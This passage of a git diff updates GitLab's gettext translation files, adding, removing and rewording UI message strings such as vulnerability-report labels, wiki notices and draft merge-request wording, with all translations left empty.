-msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
msgstr ""
-msgid "The above settings apply to all projects with the selected compliance framework(s)."
+msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
@@ -26674,9 +27277,6 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
-msgid "The entered user map is not a valid JSON user map."
-msgstr ""
-
msgid "The errors we encountered were:"
msgstr ""
@@ -26719,6 +27319,9 @@ msgstr ""
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -26767,6 +27370,12 @@ msgstr ""
msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
msgstr ""
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The license for Deploy Board is required to use this feature."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -26812,6 +27421,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -26923,6 +27535,9 @@ msgstr ""
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
msgstr ""
@@ -26932,7 +27547,7 @@ msgstr ""
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr ""
-msgid "The uploaded file is not a valid Google Takeout archive."
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
msgid "The usage ping is disabled, and cannot be configured through this form."
@@ -26944,9 +27559,6 @@ msgstr ""
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr ""
-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr ""
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr ""
@@ -26962,6 +27574,9 @@ msgstr ""
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -27049,6 +27664,9 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr ""
@@ -27364,9 +27982,6 @@ msgstr ""
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr ""
-
msgid "This commit was signed with a different user's verified signature."
msgstr ""
@@ -27376,9 +27991,6 @@ msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr ""
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -27421,6 +28033,9 @@ msgstr ""
msgid "This environment is being re-deployed"
msgstr ""
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
msgid "This epic already has the maximum number of child epics."
msgstr ""
@@ -27484,7 +28099,7 @@ msgstr ""
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
msgstr ""
msgid "This is your current session"
@@ -27493,9 +28108,6 @@ msgstr ""
msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr ""
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -27610,7 +28222,7 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a work in progress."
+msgid "This merge request is still a draft."
msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
@@ -27631,9 +28243,6 @@ msgstr ""
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr ""
-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr ""
-
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr ""
@@ -27712,6 +28321,9 @@ msgstr ""
msgid "This user cannot be unlocked manually from GitLab"
msgstr ""
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr ""
@@ -27757,6 +28369,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr ""
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -28057,6 +28672,9 @@ msgstr ""
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] ""
@@ -28075,6 +28693,9 @@ msgstr ""
msgid "Tip:"
msgstr ""
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr ""
@@ -28210,7 +28831,7 @@ msgstr ""
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr ""
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
@@ -28309,6 +28930,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -28651,6 +29275,9 @@ msgstr ""
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr ""
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -28717,7 +29344,7 @@ msgstr ""
msgid "Unassigned"
msgstr ""
-msgid "Unblock"
+msgid "Unauthenticated request rate limit"
msgstr ""
msgid "Undo"
@@ -28789,10 +29416,10 @@ msgstr ""
msgid "Unlocks the discussion."
msgstr ""
-msgid "Unmarked this %{noun} as Work In Progress."
+msgid "Unmarked this %{noun} as a draft."
msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
+msgid "Unmarks this %{noun} as a draft."
msgstr ""
msgid "Unreachable"
@@ -28987,9 +29614,6 @@ msgstr ""
msgid "Upgrade your plan to improve Merge Requests."
msgstr ""
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr ""
@@ -29008,6 +29632,9 @@ msgstr ""
msgid "Upload a private key for your certificate"
msgstr ""
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr ""
@@ -29044,6 +29671,9 @@ msgstr ""
msgid "Usage"
msgstr ""
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -29134,6 +29764,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr ""
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr ""
@@ -29281,6 +29914,12 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr ""
@@ -29338,6 +29977,9 @@ msgstr ""
msgid "UserList|created %{timeago}"
msgstr ""
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr ""
@@ -29383,6 +30025,9 @@ msgstr ""
msgid "UserProfile|Report abuse"
msgstr ""
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr ""
@@ -29413,6 +30058,9 @@ msgstr ""
msgid "UserProfile|This user is blocked"
msgstr ""
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr ""
@@ -29449,6 +30097,9 @@ msgstr ""
msgid "Username or email"
msgstr ""
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr ""
@@ -29491,15 +30142,15 @@ msgstr ""
msgid "UsersSelect|Unassigned"
msgstr ""
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr ""
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr ""
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr ""
@@ -29569,7 +30220,7 @@ msgstr ""
msgid "Various settings that affect GitLab performance."
msgstr ""
-msgid "Verification capacity"
+msgid "Verification concurrency limit"
msgstr ""
msgid "Verification information"
@@ -29650,6 +30301,9 @@ msgstr ""
msgid "View file @ %{commitSha}"
msgstr ""
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr ""
@@ -29707,6 +30361,9 @@ msgstr ""
msgid "View replaced file @ "
msgstr ""
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr ""
@@ -29800,9 +30457,6 @@ msgstr ""
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr ""
@@ -29908,6 +30562,12 @@ msgstr ""
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr ""
@@ -29956,10 +30616,7 @@ msgstr ""
msgid "Vulnerability|Project"
msgstr ""
-msgid "Vulnerability|Request"
-msgstr ""
-
-msgid "Vulnerability|Response"
+msgid "Vulnerability|Request/Response"
msgstr ""
msgid "Vulnerability|Scanner"
@@ -29974,6 +30631,9 @@ msgstr ""
msgid "Vulnerability|Status"
msgstr ""
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr ""
@@ -29998,6 +30658,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr ""
@@ -30127,6 +30790,9 @@ msgstr ""
msgid "Webhooks|Push events"
msgstr ""
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr ""
@@ -30142,6 +30808,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -30223,12 +30892,18 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr ""
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -30286,7 +30961,13 @@ msgstr ""
msgid "Wiki"
msgstr ""
-msgid "Wiki was successfully updated."
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
msgstr ""
msgid "WikiClone|Clone your wiki"
@@ -30442,6 +31123,9 @@ msgstr ""
msgid "Wiki|Pages"
msgstr ""
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr ""
@@ -30523,9 +31207,6 @@ msgstr ""
msgid "Yes, delete project"
msgstr ""
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr ""
-
msgid "Yesterday"
msgstr ""
@@ -30535,6 +31216,9 @@ msgstr ""
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -30580,6 +31264,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr ""
@@ -30739,6 +31426,9 @@ msgstr ""
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr ""
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
@@ -30781,6 +31471,9 @@ msgstr ""
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr ""
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -30859,6 +31552,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -30943,9 +31642,6 @@ msgstr ""
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr ""
-msgid "You need to upload a Google Takeout archive."
-msgstr ""
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -30988,13 +31684,10 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
msgstr ""
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -31024,9 +31717,6 @@ msgstr ""
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr ""
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr ""
-
msgid "You're receiving this email because of your account on %{host}."
msgstr ""
@@ -31045,6 +31735,9 @@ msgstr ""
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr ""
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr ""
@@ -31069,6 +31762,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr ""
@@ -31081,6 +31777,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr ""
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr ""
@@ -31222,6 +31921,9 @@ msgstr ""
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr ""
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr ""
@@ -31270,6 +31972,12 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr ""
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -31279,6 +31987,9 @@ msgstr ""
msgid "Your search didn't match any commits. Try a different query."
msgstr ""
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -31288,6 +31999,9 @@ msgstr ""
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr ""
@@ -31459,13 +32173,10 @@ msgstr ""
msgid "ciReport|%{sameNum} same"
msgstr ""
-msgid "ciReport|(errors when loading results)"
-msgstr ""
-
-msgid "ciReport|(is loading)"
+msgid "ciReport|: Loading resulted in an error"
msgstr ""
-msgid "ciReport|(is loading, errors when loading results)"
+msgid "ciReport|API Fuzzing"
msgstr ""
msgid "ciReport|All projects"
@@ -31633,6 +32344,12 @@ msgstr[2] ""
msgid "ciReport|View full report"
msgstr ""
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr ""
@@ -31651,9 +32368,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "connecting"
-msgstr ""
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -31669,9 +32383,6 @@ msgstr ""
msgid "created %{timeAgo}"
msgstr ""
-msgid "customize"
-msgstr ""
-
msgid "data"
msgstr ""
@@ -31711,9 +32422,6 @@ msgstr ""
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr ""
-msgid "done"
-msgstr ""
-
msgid "download it"
msgstr ""
@@ -31804,6 +32512,9 @@ msgstr ""
msgid "for this project"
msgstr ""
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr ""
@@ -31831,6 +32542,9 @@ msgstr ""
msgid "has already been taken"
msgstr ""
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr ""
@@ -31852,7 +32566,7 @@ msgstr ""
msgid "import flow"
msgstr ""
-msgid "importing"
+msgid "in"
msgstr ""
msgid "in group %{link_to_group}"
@@ -32383,6 +33097,9 @@ msgstr ""
msgid "no one can merge"
msgstr ""
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr ""
@@ -32410,6 +33127,9 @@ msgstr ""
msgid "open issue"
msgstr ""
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr ""
@@ -32422,6 +33142,9 @@ msgstr ""
msgid "or"
msgstr ""
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] ""
@@ -32503,6 +33226,9 @@ msgstr ""
msgid "project members"
msgstr ""
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr ""
@@ -32557,6 +33283,9 @@ msgstr ""
msgid "security Reports|There was an error creating the merge request"
msgstr ""
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr ""
@@ -32569,9 +33298,15 @@ msgstr ""
msgid "severity|Low"
msgstr ""
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr ""
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr ""
@@ -32620,9 +33355,6 @@ msgstr ""
msgid "ssh:"
msgstr ""
-msgid "started"
-msgstr ""
-
msgid "started a discussion on %{design_link}"
msgstr ""
@@ -32653,10 +33385,10 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "syntax is correct"
+msgid "syntax is correct."
msgstr ""
-msgid "syntax is incorrect"
+msgid "syntax is incorrect."
msgstr ""
msgid "tag name"
@@ -32665,6 +33397,9 @@ msgstr ""
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -32674,6 +33409,9 @@ msgstr ""
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -32746,6 +33484,12 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "vulnerability|Add a comment"
msgstr ""
diff --git a/locale/sr_SP/gitlab.po b/locale/sr_SP/gitlab.po
index 3daac77e0d9..8e4a96d0f3c 100644
--- a/locale/sr_SP/gitlab.po
+++ b/locale/sr_SP/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: sr\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:50\n"
+"PO-Revision-Date: 2020-12-03 08:20\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -85,6 +85,12 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] ""
@@ -184,14 +190,14 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
+msgid "%d error"
+msgid_plural "%d errors"
msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "%d error"
-msgid_plural "%d errors"
+msgid "%d error found:"
+msgid_plural "%d errors found:"
msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
@@ -406,22 +412,13 @@ msgstr ""
msgid "%{address} is an invalid IP address range"
msgstr ""
-msgid "%{author_link} wrote:"
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
msgstr ""
-msgid "%{authorsName}'s thread"
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
+msgid "%{author_link} wrote:"
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
+msgid "%{authorsName}'s thread"
msgstr ""
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
@@ -505,6 +502,9 @@ msgstr ""
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr ""
@@ -577,21 +577,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr ""
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr ""
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
msgstr ""
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr ""
@@ -607,9 +613,6 @@ msgstr ""
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr ""
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr ""
@@ -625,13 +628,13 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr ""
-msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
msgstr ""
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
+msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr ""
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
msgstr ""
msgid "%{label_for_message} unavailable"
@@ -664,9 +667,6 @@ msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr ""
-msgid "%{loadingIcon} Started"
-msgstr ""
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -769,37 +769,13 @@ msgstr[2] ""
msgid "%{remaining_approvals} left"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} %{status}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-
-msgid "%{reportType} %{status} detected no vulnerabilities."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
@@ -859,6 +835,9 @@ msgstr ""
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] ""
@@ -961,6 +940,9 @@ msgstr ""
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr ""
@@ -979,12 +961,6 @@ msgstr ""
msgid "&lt; 1 hour"
msgstr ""
-msgid "&lt;no scopes selected&gt;"
-msgstr ""
-
-msgid "&lt;project name&gt;"
-msgstr ""
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1597,9 +1573,6 @@ msgstr ""
msgid "Actions"
msgstr ""
-msgid "Activate"
-msgstr ""
-
msgid "Activate Service Desk"
msgstr ""
@@ -1948,9 +1921,15 @@ msgstr ""
msgid "Admin notes"
msgstr ""
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
